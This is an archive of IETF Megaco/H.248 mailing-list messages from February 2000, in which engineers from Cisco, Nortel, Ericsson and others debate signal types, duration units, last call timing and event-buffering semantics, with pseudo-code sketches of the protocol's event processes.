> > > > > --------------------------------------------------
> > > > >
> > >
> > > --
> > > ---------------------------------------
> > > Flemming Andreasen
> > > Cisco Systems
> > > ---------------------------------------
> > >
> > >
>
> Regards
>
>         Flemming
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 09:42:03 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23848
	for ; Tue, 8 Feb 2000 09:42:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5099EDF0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 9:38:54 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32007 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 09:37:53 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.C66DB9F0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 9:27:53
          -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          PAA09606; Tue, 8 Feb 2000 15:30:08 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id PAA22162;
          Tue, 8 Feb 2000 15:30:08 +0100
Received: from ericsson.com ([146.11.7.108]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id PAA03796; Tue, 8 Feb 2000
          15:29:55 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A02861.2EB7D2CC@ericsson.com>
Date:         Tue, 8 Feb 2000 15:29:53 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Michael Brown 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day all,

I'd like to confer with Michael. All signals should be able to be
interrupted. I think the behaviour of the signal types should be
uniform. The distinction between: BR, TO, OO should be how many times
the signal is played. ie.
- BR play once what ever length it is.
- TO play and repeat for a certain amount of time. ie.  ringtone -> play
ring pattern multiple times.
- OO play and repeat until turned off.

A previous email sent by Tom gives an outline on what I believe the
replacement rules should be.

Cheers, Christian

Michael Brown wrote:
>
> Overall, we're still on the right track since we haven't taken the
> approach of throwing everything away and starting over, but I do have
> problems with some of the proposed changes. My feeling is that they
> take us back to the situation we had before the IETF meeting in
> Washington where I felt these issues were reasonably well resolved.
>
> The biggest general issue I have is that the definitions for signal
> type cross the boundary into dictating implementation detail. Take the
> case of  a BR signal. Happily, we have not come back around to trying
> to define some time limit for a BR signal (although I think continuing
> with the proposal will eventually lead us there again), so for now BR
> is a subjective statement. Let's say I want to play a signal of a
> relatively short tone (a couple of seconds) with a provisioned (in the
> MG) length, but I want it to be interruptable. By these definitions,
> this would have to be treated as a TO which means that the MGC would
> have to specify duration (or we have the special rule of duration=0
> means to play the signal til the MG stops it) which I don't think
> should be required.
>
> There are other example of how these definitions require a specific
> implementation of common signals, such as dial tone.
>
> Basically, I suppose I continue to feel that the default for all
> signals should be interruptable and that  Keepactive be used to
> override that behavior.
>
> Unfortunately, I don't have time to respond with my objections more
> fully at this moment as I'm leaving shortly for the ITU meeting. When
> I arrive in Geneva, I will follow up with my other concerns and
> examples.
>
> Michael
>
>
>
> "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
>
> >
> >
> > OK, let's sum up, not that I'm confident that this will fly yet.
> > I'd like to see the reaction of a couple of other vocal parties --
> > say Michael Brown and Christian Groves.
> >
> > We have three signal types with distinct roles:
> >   BR has a timer but is not interrupted by events.  It is
> > interrupted by signal descriptor replacement.
> >   TO is the most interruptible: timer, events, signal descriptors.
> >   OO is the most persistent: interrupted by signal descriptors with
> > explicit "Off" syntax only.
> > I assume we allow over-riding of default signal type in any given
> > instance of playout.
> >
> > The list is an interesting problem.  I think I have an answer to
> > turning an OO list off, but now we also have to define behaviour in
> > response to events.  We might consider the following rules:
> >
> >  -- the type of the list is set explicitly -- every signal on the
> > list with the possible exception of the last one must be either BR
> > or TO, in order to have an assigned duration
> >
> >  -- if the last event is OO, the list must be OO and vice versa
> >  -- the type of the list, not the type of the signals making it up,
> > determines the conditions under which playout of the list ceases
> >
> >  -- the list times out if it is not OO and all of the signals on it
> > have played out, each in turn to its full duration.
> >
> >      -----Original Message-----
> >      From:   Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
> >      Sent:   Friday, February 04, 2000 5:38 PM
> >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> >      Subject:        Re: Cisco SG16: Signals Operation
> >
> >      Maybe, but according to Brian's first "no-op" rule, it must be
> >      broken in order to get fixed :-)
> >
> >      Regarding dial-tone, I don't see the issue. What you have is
> >      three different signal types and three different semantics.
> >      Each has it's own time and place. In the case of dial-tone,
> >      TimeOut happens to be the one, not Brief.
> >
> >      -- Flemming
> >
> >
> >      "Rosen, Brian" wrote:
> >            Let's see:    Events stop signals except:        When
> >           KeepActive is set        If the signal is BR        If the
> >           signal is OONet result - events stop signals only when TO
> >           and not KeepActive.Maybe we should have a "StopSignal",
> >           rather than a KeepActiveMaybe it happens so seldom that we
> >           use an embedded signals to do it.Also note that by saying
> >           BR doesn't stop for events, you twist the solution tofirst
> >           digit stops dialtone to a new level.Brian
> >                -----Original Message-----
> >                From: Flemming Andreasen [
> >                ]
> >                Sent: Friday, February 04, 2000 4:55 PM
> >                To: MEGACO@standards.nortelnetworks.com
> >                Subject: Re: Cisco SG16: Signals Operation
> >
> >                Hi Tom
> >
> >                OO signals should not be interrupted by an event,
> >                only the explicit "Off" syntax should have this
> >                effect (otherwise we are back to TO signals with
> >                indefinite duration, and semantically there's good
> >                use for something that stays active until explicitly
> >                told otherwise, e.g. consider message waiting
> >                indicator)
> >
> >                Regards
> >
> >                        Flemming
> >
> >                Tom-PT Taylor wrote:
> >
> >
> >                     Digging through the accumulated mass of indented
> >                     text and comments, I think I see two parties
> >                     agreeing on the following points.  Unfortunately
> >                     experience tells me that as soon as we introduce
> >                     a third party the agreements will vanish, but
> >                     I'll record them here just in case a miracle
> >                     happens.
> >
> >                     1) BR signals have the following
> >                     characteristics: duration is assumed to be known
> >                     to the MG without explicit MGC input.  Brian
> >                     wants the ability to override duration, and I
> >                     have no quarrel with that -- the only question
> >                     is the exact mechanism.  The second
> >                     characteristic is that a BR signal is not
> >                     terminated by the detection of an event.  (But
> >                     BR signals are still terminated by replacement
> >                     of the Signals descriptor??  Any objections
> >                     here?)
> >
> >                     2) TO signals seem to be fairly well understood.
> >
> >                     3) OO signals have the following
> >                     characteristics: they remain on until
> >                     interrupted by detection of an event, or receipt
> >                     of a Signals descriptor with explicit Off
> >                     syntax.  Brian's keyword syntax is probably
> >                     acceptable.  Brian has a query about signal
> >                     lists.  Is there something about this proposal
> >                     that doesn't work given our current signal list
> >                     text?
> >
> >                     4) Brian's proposals for completion events
> >                     probably work for Chip and they work for me.  To
> >                     summarize: the current notifyCompletion
> >                     parameter remains but its significance changes:
> >                     it is a selector (Boolean, default FALSE) and
> >                     does not actually arm reporting.  There is a
> >                     signal completion event which reports on the
> >                     completion of any signal so flagged, with the
> >                     identity of the signal as a reporting
> >                     parameter.  QUESTION: should KeepActive default
> >                     to TRUE for this event?  In any case, the signal
> >                     completion event is invoked in the usual way,
> >                     through an events descriptor.
> >
> >                     Open issue: signal failures.  The need for
> >                     reports of such failures is real -- they do
> >                     happen from time to time.  They happen
> >                     autonomously, which means we either have to have
> >                     an error method (ServiceChange ?) or an event to
> >                     report them.  The key issue is whether you would
> >                     need to know about ANY failure or only those of
> >                     selected signals.
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 09:44:51 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24027
	for ; Tue, 8 Feb 2000 09:44:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.98C03C60@standards.nortelnetworks.com>; Tue, 8 Feb 2000 9:40:55 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32008 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 09:39:04 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F032C7D0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 9:29:03
          -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          PAA10549; Tue, 8 Feb 2000 15:31:22 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id PAA22201;
          Tue, 8 Feb 2000 15:31:21 +0100
Received: from ericsson.com ([146.11.7.108]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id PAA03830; Tue, 8 Feb 2000
          15:31:12 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389EEA4A.86B56383@nortelnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A028B0.92FA2FAF@ericsson.com>
Date:         Tue, 8 Feb 2000 15:31:12 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Meaning Of BR Signal Type
X-To:         Michael Brown 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Michael,

It was because with the timeout period being a 16bit integer and the
time period being in millseconds, you could only play a signal for
approx 64,0000ms or 64secs.
Hundreth's of a second at least gives you 10x the amount. Perhaps the
value should be double int?

Cheers, Christian

Michael Brown wrote:
>
> While it would work, I don't particularly like the idea of making the
> long tone digit a TO signal . The problem is that the current
> definitions in E.3.3 and E.5.3 seems to show provisioned not as the
> default but as the only choice for BR duration. I would prefer we
> allow for specifying a duration as an override to provisioning in the
> text in 7.1.11 .
>
> Also, I just noticed that the duration was changed from milliseconds
> to hundredths. I guess I missed the discussion, but don't understand
> why that was done.
>
> Michael
>
> "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
>
> >
> >
> > It's a point of view.  If you want to change the DTMF digit into a
> > long tone, you also override the type by setting it to TO.  This
> > certainly isn't a crucial issue, but in my mind at least it would
> > increase the justification for distinguishing BR from TO.
> >
> >      -----Original Message-----
> >      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
> >      Sent:   Tuesday, February 01, 2000 6:47 PM
> >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> >      Subject:        Re: Meaning Of BR Signal Type
> >
> >      I don't agree with this.  Every signal has a duration, and the
> >      DEFAULT may
> >      be
> >      provisioned, but it can be overridden.  The MGC should be able
> >      to override
> >      the
> >      default.  Certainly something like a DTMF digit has to be able
> >      to be
> >      overridden to generate a "long tone" for example.
> >
> >      I'd accept that some MGs may not be able to do this, but I
> >      expect that won't
> >      be much of a problem.
> >
> >      Brian
> >
> >      > -----Original Message-----
> >      > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> >      > Sent: Tuesday, February 01, 2000 2:31 PM
> >      > To: MEGACO@standards.nortelnetworks.com
> >      > Subject: Meaning Of BR Signal Type
> >      >
> >      >
> >      > This one has been flogged nearly to death, but from recent
> >      > discussions I
> >      > think we have the following understanding of the BR signal
> >      type.
> >      >
> >      > BR: the duration is known to the MG (either by provisioning
> >      > or by design).
> >      > The MGC must not specify a duration.
> >      >
> >      > I would propose that this definition replace the current text
> >
> >      > in section
> >      > 7.1.11.
> >      >
> >      >
> >      > Tom Taylor
> >      > Advisor -- IPConnect Standards
> >      > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> >
> >      > Phone and FAX: +1 613 736 0961
> >      >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 10:19:09 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26398
	for ; Tue, 8 Feb 2000 10:19:09 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7E99A600@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:15:59 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32061 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 10:14:04 -0500
Received: from dogwood.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.3A3DA600@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:14:04
          -0500
Received: from localhost (chsharp@localhost) by dogwood.cisco.com (8.8.6
          (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id KAA01117; Tue, 8 Feb 2000
          10:16:25 -0500 (EST)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  
Date:         Tue, 8 Feb 2000 10:16:25 -0500
Reply-To: "Hascall \"Chip\" Sharp" 
Sender: "Media Gateway Control (megaco)"
              
From: "Hascall \"Chip\" Sharp" 
Subject:      Re: Last Call
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

I believe you are correct.  WG last call MUST happen now if IETF is going
is going to contribute to the process.  This would allow a theoretical
last call after this meeting for IESG that would allow alignment with an
ITU white contribution in March (if it isn't approved in this SG16
meeting).

However, WG last call needs to be made against an official I-D.

Chip

-------------------------------------------------------
Chip Sharp                      voice: +1 (919) 472-3121
Consulting Engineer             email:  chsharp@cisco.com
Cisco Systems                   http://www.cisco.com/
---------------------------------------------------------

On Tue, 8 Feb 2000, Tom-PT Taylor wrote:

> If Last Call is to have anything meaning at all, it must be conducted during
> the present SG 16 meeting.
>
> Nancy is about to put MegacoH248v15 on the site.  I invite Last Call
> comments based on this version of the document.  We can recycle as necessary
> to reflect decisions taken.
>
> Sorry for not drawing the line in early December, when (in hindsight) we
> might have done things more cleanly.
>
> Tom Taylor
> Advisor -- Emerging Carrier IP Standards
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> Phone and FAX: +1 613 736 0961
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 10:27:13 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26919
	for ; Tue, 8 Feb 2000 10:27:12 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.9D5D0E50@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:24:00 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32075 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 10:22:29 -0500
Received: from mtiwmhc01.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.6707C110@standards.nortelnetworks.com>; Tue, 8 Feb 2000 10:22:29
          -0500
Received: from worldnet.att.net ([12.78.106.25]) by mtiwmhc01.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000208152445.TZUW11@worldnet.att.net>; Tue, 8 Feb 2000 15:24:45
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088CE@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A035C1.F89CD01@worldnet.att.net>
Date:         Tue, 8 Feb 2000 10:26:58 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Brian

Thanks for your detailed response - a detailed answer follows below. To
summarize for those that do not feel like going through all the details here:
1. I still see significant drawbacks with the v14 scheme
2. I do not see those drawbacks with the TD-58 scheme
3. I have seen no advantages being offered with the v14 scheme compared to the
TD-58 scheme

and consequently I must ask for the TD-58 scheme to be reinstated.



"Rosen, Brian" wrote:

> Thank you for taking the time to go through your issues.
> I only wish you had done so two months ago!  Before dealing with
> specifics, there is one aspect of the current mechanism you seem
> to have misinterpreted.  When EventBuffering is ON, events detected
> are compared against the EventBuffer Descriptor, not the Events Descriptor.

You are right. While that addresses one specific comment below, it does not
solve the fundamental problems though.

>
>
> ...snip...
> > The current event handling mechanism in Megaco/H248 v14 can
> > be viewed as
> > three processes that all interact. Events can be viewed as
> > always being
> > added to an event buffer (a FIFO queue) by an Event Detection process.
>
> > Another Event Processing process then removes these events
> > from the FIFO
> > queue. When a notification is sent, this process may block,
> > waiting for a
> > new Events Descriptor to be received. Events detected
> > meanwhile will simply
> > be added to the FIFO queue. Finally, whenever a new
> > Events Descriptor is
> > received the third process runs. This process determines the
> > fate of events
> > of events sitting in the FIFO queue, and installs a new
> > Events Descriptor.
> >
> > The processes are illustrated in pseudo-code below
> >
> > Process 1: Event Detection
> > ===================
> > do {
> > 
> > if < event in current Events Descriptor> then   /* current
> > Events Descriptor
> > */
> >   
> >  else
> >   
> > } forever
> The buffering process does not always buffer events.  In most

Like I said, one way of viewing the procedure is the way I describe it. This is
classic producer-consumer problem we are looking at here.


>
> cases, it immediately Notifies.  The decision process is:
>         If EventBuffering is On,
>                 If no events have been detected
>                         ; the first event is immediately processed
>                         If it is in Events Descriptor
>                                 Notify immediately
>                         Else
>                                 discard
>                 Else
>                         If it is in EventBuffer Descriptor
>                                 place in the buffer
>                         Else
>                                 discard
>         Else
>                 If the event is in Events Descriptor
>                         Notify immediately
>                 Else
>                         discard
>
> To be really precise, it's possible that an event will occur
> while another event is being processed when EventBuffering is Off,
> and you could consider the second event in some kind of buffer.

> I personally wouldn't - if it made it before I finished the Notify,

> I'd add it to the Notify in process.  If it was after, I'd just hold
> off processing it until I was done.

That's not what the current text specifies, so if this is the behavior you want
the text should be changed accordingly.


>
>
>
> >
> > Process 2: Event Processing
> > ===================
> > do {
> >  < wait for event in event buffer>
> >  < remove first event from event buffer>
> >  if  then {
> >   Notify(event)
> >   if  (Eventbuffer = "on") then  /* current Events Descriptor */
> >    
> >  }
> > } forever
> I'd say this process doesn't exist

Depends on how you look at it. Like I said, this is one way of looking at it. It
achieves precisely the same as your algorithm above

>
>
> > Process 3: New Event Descriptor
> > =======================
> > if    /* new EventsDescritpr */
> >  
> > 
> This is incorrect.  The first part is correct (clear eventBuffer if
> EventBuffering is off).  The second part is:
>   Else
>         While EventBuffer has any events
>                 If Event is in new Events Descriptor
>                         Notify this event
>                         Exit loop
>                 Else
>                         discard
>         End Loop

No. Take another look at process 2, which is my consumer process. The effect is
precisly what you have specified, however all of these are really besides the
point.

>
>
> >
> > Unfortunately, this mechanism suffers from some drawbacks,
> > especially when
> > compared to the mechanism that was specified in TD-58 after
> > the Red Bank
> > meeting:
> >
> > 1. Events to be detected in process 1 are always determined
> > by the current
> > Events Descriptor. This is an unfortunate restriction which may prevent
> > detection of events that arrive more rapidly than the round-trip +
> > processing time. For example, an application may initially
> > wish to detect
> > seizure, and subsequently detect a wink or unseizure. Unless
> > all events are
> > requested at the same time (which would effectively prevent
> > glare detection)
> > detection of all these events could not be guaranteed.
> This is incorrect, there are two masks -- Events Descriptor and
> BufferedEvents Descriptor.  The former determines what is notified,
> the latter determines what is buffered.

You're right. I believe it would be preferable to determine events to be
detected based on the union of Events Descriptor and BufferedEvents Descriptor
though.

>
>
> Seizure would be Events Descriptor, Unseizure and wink would be
> in BufferedEvents Descriptor.  Alternatively, you could use an
> embedded Events Descriptor.

For this specific case - maybe. It is not a general solution to the problem
though (BufferedEvents Descriptor on the other hand is).

>
>
> > What is needed, is an extra parameter to specify what events
> > to detect (as
> > opposed to process) during event buffering. Preferably, this
> > set of events
> > would be determined based on the union of this parameter and
> > the current
> > Events Descriptor.
> As specified, we "detect" (I would say buffer) events in
> BufferedEvents, and we "process" (I would say Notify) events in
> Events Descriptor.  We could specify that detect is based on the
> union of BufferedEvents and Events, but it's a little late for
> optimizations (if it really is what we want, I would think not).
>
> >
> > 2. Hardcoding Notify in process 2 limits throughput, as there
> > shall normally
> > only be one outstanding Notify per termination. A queue of
> > Notify to be sent
> > may consequently build up at the sender side thereby
> > - Incurring event delivery delay when the event arrival rate
> > exceeds the
> > MG-MGC roundtrip time.
> > - Limiting the average event arrival rate to the MG-MGC
> > roundtrip time (best
> > case).
> This may be true if EventBuffering is On, but is not true if
> EventBuffering is off.  In the latter case, events are Notified as
> they are detected, and no response from the MGC is required.

That is completely inconsistent with the current text. Section 9.1 specifies
that:

    "On a given Termination, there should normally be at most one outstanding
Notify command at any time.  The RequestId parameter should be used to correlate
Notify commands with the triggering notification request."

What you are suggesting is that we just send the Notify's as fast as we can. The
problem with this is that you cannot guarantee in-order (delivery of these
messages) which means we no longer have event ordering in the system.

>
> In the former case, this is precisely what is required.  The point of
> buffering events is that once an event is detected, the MG doesn't
> know what the MGC wants next; it has to wait to be told.  Meanwhile,
> it buffers events the MGC told it it MIGHT want to see.  When it gets
> a new event descriptor, it can send ONE event, but then it is back in
> the same state - what does the MGC want to do next?

We are in absolute agreement here. One underlying "problem" however is that the
MGC will only be able to request a single event. With the TD-58 solution you
could have requested a whole sequence of events potentially.

>
>
> Note that this condition should be very rare - events happen at human
> speed in most cases, and computers are fast.  Even in large trunk
> gateways, the MGC better be able to keep up with the event stream by
> a whole lot more than a round trip time!

That is a very dangerous assumption which even now doesn't hold. Think about
auto-dialers, MF trunking, etc. Events happen a lot faster than human speed
(which is why you added digit maps). Do you feel confident in assuming that this
is the only case where this is needed ?

As for your second point about MGC being able to keep up with event arrival
rates significantly below network round trip time we are in complete agreement,
and that is precisely my point. Your mechanism has an inherent rate limitation
built into it, and that rate limiation is based on the network round-trip time
for every thing where you don't apply some special mechanism (like digit maps).
This mechanism is basic and belongs in the base protocol!


>
>
> > TD-58 from Red Bank did not have this limitation. First of
> > all, the MGC had
> > the various "accumulate" actions that were designed to
> > prevent this problem
> > and limit bandwidth and CPU overhead.
> It had a per event decision of Notify, Accumulate or process by
> digitmap.  We have all of those.

Then I've misunderstood something. Where do you have accumulate now ?

>
>
> >Secondly, (assuming
> > MGCP semantics) it
> > would be possible for the MG to try and empty the EventBuffer
> > in a single
> > message based on the current Events Descriptor (arguably, a
> > parameter to
> > explicitly allow/disallow this behavior would be beneficial).
> No one has ever described a scenario where it was once unacceptable to send
> all events, but something occurs which makes it possible to send all events
> in the buffer.  This seems unlikely
>         Either the MGC is able to run it's own state machine and
>                 it can handle events whenever they are detected
>         OR
>         The MGC has a simplistic view, and can only deal with the MG
>                 and itself being in lockstep
>

You are making dangerous assumptions again. Experience has taught me that proper
design rather than current perception and imagination is by far the better
approach.


>
> >
> > 3. There is a dual use of the Eventbuffer parameter which is
> > unfortunate.
> > Following a Notify where the Eventbuffer was "on", there is
> > no way for the
> > MGC to subsequently request that
> > a) All the currently buffered events should be processed
> > b) Future events should not be buffered events but simply
> > sent immediately
> This is the same as above.  Somehow, the MGC couldn't handle all
> events, and now it can.  How can this be?
> I would be willing, I suppose, to allow this (that is, have some way
> to empty the Event Buffer by Notify rather than just clearing it),
> but no one has been able to come up with a really interesting
> case where the MG flips EventBuffering on and off.  I expect it will
> set it one way and leave it.

Same comment as above. I would much prefer proper design instead assumptions
which may or may not hold down the road.

>
>
> Please cite an interesting case where some events should be buffered,
> but there comes an event where the buffer should be sent all at
> once (and where it is unacceptable to send the events as they
> are detected).

Same comment as above.


>
>
> > A simple solution to this problem would be to separate the
> > parameter into
> > two, which is precisely what the BufferedEventProcessingMode
> > in TD-58 did.
> Covered above, although no one could ever precisely explain to those of us
> who sat through countless hours of discussion and email what the 4 states of
> two variables were used for.
>

I disagree. Experience will tell us who is right. With my approch we can't
loose, with yours we certainly can.

>
> >
> >
> > Finally, from a design perspective, the above solution contains some
> > fundamentally undesirable properties. Most problematic is the
> > hard-coded
> > Notify of events which effectively provides a stimulus based
> > approach to
> > event handling with none or little future support for scripting. It
> > effectively prevents us from taking advantage of more powerful and
> > sophisticated MGs that are able to do some amount of local processing
> > thereby
> > - reducing bandwidth requirements
> > - reducing MGC processing requirements (and complexity)
> > - improves responsiveness as the network round-trip does not become a
> > bottleneck
> > Opponents to this point of view may claim, that packages with
> > new events,
> > signals, and properties can be defined that effectively
> > achieve the above,
> > as e.g. was done for digitmaps/DTMF detection. While that is
> > indeed the case
> > (and there are valid use cases for such), the point that
> > needs to be made,
> > is that the mechanisms are basic and of such high value that
> > they should be
> > supported natively rather than only by higher level
> > mechanisms which may or
> > may not be able to interact with each other. Consider for example the
> > current DTMF detection scheme. As a consequence of the higher
> > layer approach
> > taken, it is not able to report incoming DTMF digits and
> > other inter-twined
> > events in the correct order, since the DTMF detection
> > mechanism must itself
> > be exactly one event (digit map completion). Another example is the
> > interaction with signal interruption, e.g. dial-tone. Again, special
> > consideration (define it to take place on the first digit) is
> > needed to
> > achieve the desired behavior although the event really has
> > not occurred yet.
> Scripting is, as you know, a version 2 problem.  Presumably, scripting need
> not limit itself to the same view of events, or more precisely, it would
> probably handle event detection as they occurred, and generate Notifies (if
> appropriate), whenever the script decided to.  I would allow scripts to run
> on detection, allow them to put events in the buffer, and allow them to run
> on Notify (which would include allowing the Notify script to paw through the
> buffer).

Yes I know. What you are telling me know, is that yes, the current event
handling mechanism is probably not adequate for scripting and you would do
something special, e.g. not perform the hard-coded Notify we saw above. What
about interaction between different schemes, consistency, ease of understanding,
etc. This looks very flaky to me and that is precisely my point.


>
> > Such requirements for special treatment and consideration are simply
> > evidence of lack of generality that should not show up at
> > this stage. The
> > solution specified in TD-58 from Red Bank did not suffer from these
> > drawbacks.
> Disagree as per above

You are going to have to explain the drawbacks of TD-58 to me. I have now
offered you drawbacks with the v14 scheme. Considering that I have not seen you
(or anyone else for that matter) explain any kind of drawbacks with the TD-58
scheme and that I have shown several drawbacks with the v14 scheme, I think it
is your turn to explain the problems with TD-58 now. You have been very adament
about not making changes without any good reason, so I would like to see that
same rule applied to TD-58.



>
> >
> > Some additional comments below
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > Coming out of Red Bank there was NO consensus on Events,
> > > there was in fact wide disagreement on events.  Coming out of
> > > Washington, there was NO consensus on events, there was in fact
> > > wide disagreement on events.  The proposal we have in V13 was
> > > an attempt to fix what people saw as problems in the event
> > > mechanism.
> > >
> > > In Red Bank, no one could explain how the MGCP mechanism works.
> > > In Washington, several people attempted to explain how it works
> > > (Christian Huitema was not there for that session).  Today in
> > > fact, I'll bet you if you ask 10 people who claim they understand
> > > how the MGCP mechanism works, you would get several answers,
> > > although I would grant you that there is not a lot of variation
> > > in the implementations.  The V13 mechanism was not comprehensible
> > > to anyone in the design meetings in Washington or Red Bank.
> >
> > If understanding the MGCP mechanism is the real problem, then
> > I'm sure we
> > can get the right people to clarify. Having spent a lot of
> > time on this
> > (admittedly confusing) aspect myself, I can certainly offer my help if
> > needed. As for a general lack of understanding of the
> > mechanism I think you
> > are exagerating. There may be small details here and there that people
> > interpret differently, but I bet you any mechanism you
> > specify will suffer
> > from this, including yours.
>
> Flemming, there are a core of about 5 people who sat and argued and
> questioned and puzzled about the MGCP mechanism over two IETF meetings, the
> Red Bank meeting and the email list.  Check the archives - there are lots of
> messages that attempt to explain how the MGCP mechanism works.  No two
> people agreed.  I asked 4 people who said they were part of implementation
> teams.  They all explained it differently, although it seems that they
> implemented it close to the same thing.  I believe the MGCP text is poorly
> written, poorly understood.  AND, even when people more or less explained
> how it worked, they were totally unable to explain how you would use it.

I'm not talking about MGCP, I'm talking about TD-58. You are the editor and have
done an outstanding job under some very different circumstances. If there is
text that needs clarification, well then clarify it, don't scratch the mechanism
and rewrite it from scratch.

What if I ask you to explain how multimedia and streams work and whether they
are indeed adequate for what we want to do. I bet you will have a very tough
time (I know since you've stated your concerns on this issue several times)
doing that, but that doesn't meen you just rewrite it, right ?

In any case, we are drifting away from the technical points, which is what I
want to focus on. Bottom line is, that I strongly believe the TD-58 scheme was
better than what we now have in v14. Based on all of the above and in the
absence of you explaining any problems with the TD-58 mechanism and
demonstrating advantages with the v14 mechanism, I must again ask for the text
to be brough back in accordance with the outcome of the Red Bank meeting. If
not, we have a significant change, and no consensus....


>
>
